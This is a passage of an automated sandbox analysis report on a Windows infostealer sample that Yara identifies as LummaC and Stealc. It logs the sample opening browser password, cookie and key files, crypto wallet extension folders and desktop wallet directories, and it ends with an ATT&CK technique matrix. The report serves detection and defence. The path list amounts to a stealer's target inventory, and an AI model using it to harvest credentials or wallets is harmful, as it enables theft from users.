Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: uDTW3VjJJT.exe PID: 6052, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: uDTW3VjJJT.exe PID: 6052, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000D.00000002.2660131212.0000000000FB1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2612918686.0000000004900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2659631353.000000000069E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DXNVSY83L0YWDTI5Q.exe PID: 6628, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	1 OS Credential Dumping	751 Security Software Discovery	Remote Services	31 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	371 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
